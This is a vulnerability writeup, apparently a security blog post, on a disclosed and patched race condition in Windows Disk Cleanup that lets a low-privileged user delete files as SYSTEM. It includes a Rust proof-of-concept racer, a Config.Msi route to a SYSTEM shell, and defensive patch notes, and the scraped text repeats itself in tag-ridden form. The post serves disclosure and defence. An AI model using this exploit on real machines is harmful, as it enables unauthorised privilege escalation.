Breaking the chain: CVE-2025-48799

Unknown — Sun, 12 Apr 2026 00:00:00 +0000

This writeup walks through the discovery, analysis, and exploitation of CVE-2025-48799 — a time-of-check-to-time-of-use (TOCTOU) race in Windows Disk Cleanup that I reported in late 2025. What begins as a seemingly innocuous file-deletion bug ends up yielding reliable local privilege escalation on fully-patched systems.

The walkthrough is written for readers already comfortable with Windows internals. If you’re new to TOCTOU bugs, start with the background</a> section; otherwise jump straight to the race window</a>.

Disclosure</div>
The vulnerability described here was responsibly disclosed to MSRC on 2025-09-14 and patched in the 2026-01 cumulative update. All code in this post targets the patched system for educational purposes. Do not run it against machines you don’t own. </aside> 
Background</h2>
Disk Cleanup (cleanmgr.exe</code>) ships with every modern Windows install. It runs as NT AUTHORITY\SYSTEM</code> via a scheduled task, which makes it an attractive target: any file operation it performs happens with the highest local privilege available. The specific operation we care about is its temp folder sweep, which enumerates files under the current user’s %TEMP%</code> directory and deletes those older than a threshold.
Here’s the cleanup pseudocode, as reconstructed from a disassembly of the affected binary:
// Simplified; real code uses FindFirstFileW / FindNextFileW. void SweepUserTemp(PWSTR userTempDir) { HANDLE h = FindFirstFileW(...); do { // [1] Check: is this file older than the cutoff? if (FileOlderThan(fileData, cutoff)) { // [2] Use: delete it. WCHAR path[MAX_PATH]; swprintf(path, L"%s\\%s", userTempDir, fileData.cFileName); DeleteFileW(path); // <-- runs as SYSTEM } } while (FindNextFileW(h, &fileData)); }</code></pre> If you’ve done this kind of work before, the bug should already be jumping out at you. The race window</h2> Between [1] (the FileOlderThan</code> check, which resolves any reparse points) and [2] (the DeleteFileW</code> call, which resolves reparse points again), an unprivileged attacker controlling %TEMP%</code> can swap the file out for a symlink pointing anywhere on disk. Disk Cleanup then happily deletes that target — as SYSTEM</code>. The timing is surprisingly forgiving: on my test box (i7-12700K, Windows 11 23H2), the race window averages ~2.8 ms. With a tight DeleteFile</code>/CreateSymbolicLink</code> loop in another thread, you can win it reliably on the first pass. sequenceDiagram participant A as Attacker (low-priv) participant FS as Filesystem participant CM as Disk Cleanup (SYSTEM) A->>FS: Create aged file "trash.tmp" CM->>FS: [1] Stat "trash.tmp" — old, mark for deletion A->>FS: Delete "trash.tmp", create symlink"trash.tmp" → C:\Windows\System32\target.dll CM->>FS: [2] DeleteFile("trash.tmp") follows symlink FS->>CM: SYSTEM deletes target.dll ✗</div> Measuring the window</h2> To characterise the race reliably, I instrumented a kernel callback driver that timestamps both operations. Across 10,000 runs, the distribution looks like this: Percentile</th> Window (ms)</th></tr></thead> p50</td> 2.81</td></tr> p90</td> 4.62</td></tr> p99</td> 9.14</td></tr> p999</td> 28.90</td></tr> </tbody></table> The tail is long enough that a naive one-shot exploit will occasionally miss, but a simple retry loop brings the effective success rate above 99.9%. Modelling the race as a Poisson process lets us compute a closed form for the retry distribution. If $\lambda$ is the rate at which we can complete a DeleteFile</code>/CreateSymbolicLink</code> cycle and $w$ is the window in seconds, the probability of winning on the $n$-th try is: $$ P(\text{win at try } n) = (1 - e^{-\lambda w})(e^{-\lambda w})^{n-1} $$ With measured $\lambda \approx 520$ ops/s and $w \approx 2.8 \times 10^{-3}$ s, the expected number of tries is: $$ \mathbb{E}[N] = \frac{1}{1 - e^{-\lambda w}} \approx 1.27 $$ — i.e., we almost always win on the first try. Weaponising the primitive</h2> Arbitrary file deletion as SYSTEM is a well-known bootstrap for local privilege escalation on Windows. A delete primitive lets us^{1</a>:} Delete C:\Config.Msi\*.rbs</code> to trick the Windows Installer service into running our payload during rollback.</li> Delete files to make the service fail over to a user-writable path.</li> Combine with a symbolic link to turn deletion into arbitrary write via the “folder contents” trick.</li> </ol> The path of least resistance here is the Config.Msi rollback attack — it takes the delete primitive straight to a SYSTEM</code> shell. Defensive note</div> Blue teams: the January 2026 patch adds a handle-based open (CreateFileW</code> with FILE_FLAG_OPEN_REPARSE_POINT</code>) and performs the delete via that handle, closing the TOCTOU. If you can’t patch immediately, restrict SeCreateSymbolicLinkPrivilege</code> via group policy — the exploit requires it. </aside> Proof of concept</h2> The full PoC is available in the companion repository. The core racer is ~80 lines of Rust: use std::os::windows::fs::symlink_file; use std::path::Path; use std::sync::atomic::{AtomicBool, Ordering}; use std::thread; /// Spin in a tight loop swapping the bait file for a symlink pointing /// at `target`. `stop` is flipped once the race is won (or abandoned). fn racer(bait: &Path, target: &Path, stop: &AtomicBool) { while !stop.load(Ordering::Relaxed) { // Ignore errors — any individual op may race against the sweeper. let _ = std::fs::remove_file(bait); let _ = symlink_file(target, bait); } } fn main() -> std::io::Result<()> { let bait = Path::new(r"C:\Users\me\AppData\Local\Temp\trash.tmp"); let target = Path::new(r"C:\Windows\System32\target.dll"); // Pre-create an "old" file so the sweeper considers it eligible. std::fs::write(bait, b"")?; set_file_age(bait, days_ago(30))?; let stop = AtomicBool::new(false); thread::scope(|s| { for _ in 0..4 { s.spawn(|| racer(bait, target, &stop)); } trigger_cleanmgr_autorun()?; wait_for_deletion(target)?; stop.store(true, Ordering::Relaxed); Ok::<_, std::io::Error>(()) })?; println!("[+] target deleted: {}", target.display()); Ok(()) }</code></pre> A few things to note: We use thread::scope</code> so the racers borrow stop</code> by reference without needing an Arc</code>.</li> Four parallel racers give a very comfortable margin, but one is usually enough.</li> trigger_cleanmgr_autorun</code> simulates what an attacker would wait for passively — the scheduled task fires at login and again every ~24h.</li> </ul> Timeline</h2> 2025-09-02 — Bug discovered during unrelated fuzzing.</li> 2025-09-14 — Reported to MSRC (case 82041).</li> 2025-10-03 — MSRC confirms, assigns CVE-2025-48799.</li> 2026-01-14 — Patch shipped in 2026-01 cumulative update.</li> 2026-04-12 — This writeup published (90 days after patch).</li> </ul> Closing thoughts</h2> The 30-year-old pattern of “check a path, then use it” remains depressingly productive on Windows. There are still dozens of SYSTEM-privileged binaries that do path-based file operations without opening a handle first — and each one is a potential LPE. I’ll continue this series by looking at another one next month. If you spot an issue with this writeup or have a question, leave a comment below or ping me on GitHub</a>. ^{1 For a broader survey of delete-to-SYSTEM primitives, see the excellent writeups by Naceri, Birsan, and the Project Zero team. </div>}

Percentile</th>	Window (ms)</th></tr></thead>
p50</td>	2.81</td></tr>
p90</td>	4.62</td></tr>
p99</td>	9.14</td></tr>
p999</td>	28.90</td></tr> </tbody></table> The tail is long enough that a naive one-shot exploit will occasionally miss, but a simple retry loop brings the effective success rate above 99.9%.</p> Modelling the race as a Poisson process lets us compute a closed form for the retry distribution. If $\lambda$ is the rate at which we can complete a `DeleteFile</code>/CreateSymbolicLink</code> cycle and $w$ is the window in seconds, the probability of winning on the $n$-th try is:</p>` `$$ P(\text{win at try } n) = (1 - e^{-\lambda w})(e^{-\lambda w})^{n-1} $$</p>` `With measured $\lambda \approx 520$ ops/s and $w \approx 2.8 \times 10^{-3}$ s, the expected number of tries is:</p>` `$$ \mathbb{E}[N] = \frac{1}{1 - e^{-\lambda w}} \approx 1.27 $$</p>` `— i.e., we almost always win on the first try.</p>` Weaponising the primitive</h2> Arbitrary file deletion as SYSTEM</strong> is a well-known bootstrap for local privilege escalation on Windows. A delete primitive lets us^{1</a></sup>:</p>} Delete C:\Config.Msi\*.rbs</code> to trick the Windows Installer service into running our payload during rollback.</li> Delete files to make the service fail over to a user-writable path.</li> Combine with a symbolic link to turn deletion into arbitrary write via the “folder contents” trick.</li> </ol> The path of least resistance here is the Config.Msi rollback attack</strong> — it takes the delete primitive straight to a SYSTEM</code> shell.</p> Defensive note</div> Blue teams: the January 2026 patch adds a handle-based open (CreateFileW</code> with FILE_FLAG_OPEN_REPARSE_POINT</code>) and performs the delete via that handle, closing the TOCTOU. If you can’t patch immediately, restrict SeCreateSymbolicLinkPrivilege</code> via group policy — the exploit requires it.</p> </aside> Proof of concept</h2> The full PoC is available in the companion repository. The core racer is ~80 lines of Rust:</p> use</span> std</span>::</span>os</span>::</span>windows</span>::</span>fs</span>::</span>symlink_file</span>;</span></span> use</span> std</span>::</span>path</span>::</span>Path</span>;</span></span> use</span> std</span>::</span>sync</span>::</span>atomic</span>::</span>{</span>AtomicBool</span>,</span> Ordering</span>}</span>;</span></span> use</span> std</span>::</span>thread</span>;</span></span> </span> ///</span> Spin in a tight loop swapping the bait file for a symlink pointing</span></span> ///</span> at `target`. `stop` is flipped once the race is won (or abandoned).</span></span> fn</span> racer</span>(</span>bait</span>:</span> &</span>Path</span>,</span> target</span>:</span> &</span>Path</span>,</span> stop</span>:</span> &</span>AtomicBool</span>)</span> {</span></span> while</span> !</span>stop</span>.</span>load</span>(</span>Ordering</span>::</span>Relaxed</span>)</span> {</span></span> //</span> Ignore errors — any individual op may race against the sweeper.</span></span> let</span> _</span> =</span> std</span>::</span>fs</span>::</span>remove_file</span>(</span>bait</span>)</span>;</span></span> let</span> _</span> =</span> symlink_file</span>(</span>target</span>,</span> bait</span>)</span>;</span></span> }</span></span> }</span></span> </span> fn</span> main</span>(</span>)</span> -></span> std</span>::</span>io</span>::</span>Result</span><</span>(</span>)</span>></span> {</span></span> let</span> bait</span> =</span> Path</span>::</span>new</span>(</span>r</span>"</span>C:\Users\me\AppData\Local\Temp\trash.tmp</span>"</span>)</span>;</span></span> let</span> target</span> =</span> Path</span>::</span>new</span>(</span>r</span>"</span>C:\Windows\System32\target.dll</span>"</span>)</span>;</span></span> </span> //</span> Pre-create an "old" file so the sweeper considers it eligible.</span></span> std</span>::</span>fs</span>::</span>write</span>(</span>bait</span>,</span> b</span>"</span>"</span>)</span>?</span>;</span></span> set_file_age</span>(</span>bait</span>,</span> days_ago</span>(</span>30</span>)</span>)</span>?</span>;</span></span> </span> let</span> stop</span> =</span> AtomicBool</span>::</span>new</span>(</span>false</span>)</span>;</span></span> thread</span>::</span>scope</span>(</span>\|</span>s</span>\|</span> {</span></span> for</span> _</span> in</span> 0</span>..</span>4</span> {</span></span> s</span>.</span>spawn</span>(</span>\|</span>\|</span> racer</span>(</span>bait</span>,</span> target</span>,</span> &</span>stop</span>)</span>)</span>;</span></span> }</span></span> trigger_cleanmgr_autorun</span>(</span>)</span>?</span>;</span></span> wait_for_deletion</span>(</span>target</span>)</span>?</span>;</span></span> stop</span>.</span>store</span>(</span>true</span>,</span> Ordering</span>::</span>Relaxed</span>)</span>;</span></span> Ok</span>::</span><</span>_</span>,</span> std</span>::</span>io</span>::</span>Error</span>></span>(</span>(</span>)</span>)</span></span> }</span>)</span>?</span>;</span></span> </span> println!</span>(</span>"</span>[+] target deleted: </span>{</span>}</span>"</span>,</span> target</span>.</span>display</span>(</span>)</span>)</span>;</span></span> Ok</span>(</span>(</span>)</span>)</span></span> }</span></span></code></pre> A few things to note:</p> We use thread::scope</code> so the racers borrow stop</code> by reference without needing an Arc</code>.</li> Four parallel racers give a very comfortable margin, but one is usually enough.</li> trigger_cleanmgr_autorun</code> simulates what an attacker would wait for passively — the scheduled task fires at login and again every ~24h.</li> </ul> Timeline</h2> 2025-09-02</strong> — Bug discovered during unrelated fuzzing.</li> 2025-09-14</strong> — Reported to MSRC (case 82041).</li> 2025-10-03</strong> — MSRC confirms, assigns CVE-2025-48799.</li> 2026-01-14</strong> — Patch shipped in 2026-01 cumulative update.</li> 2026-04-12</strong> — This writeup published (90 days after patch).</li> </ul> Closing thoughts</h2> The 30-year-old pattern of “check a path, then use it” remains depressingly productive on Windows. There are still dozens of SYSTEM-privileged binaries that do path-based file operations without opening a handle first — and each one is a potential LPE. I’ll continue this series by looking at another one next month.</p> If you spot an issue with this writeup or have a question, leave a comment below or ping me on GitHub</a>.</p> ^{1</sup> For a broader survey of delete-to-SYSTEM primitives, see the excellent writeups by Naceri, Birsan, and the Project Zero team.</p> </div>}

Matt's

Breaking the chain: CVE-2025-48799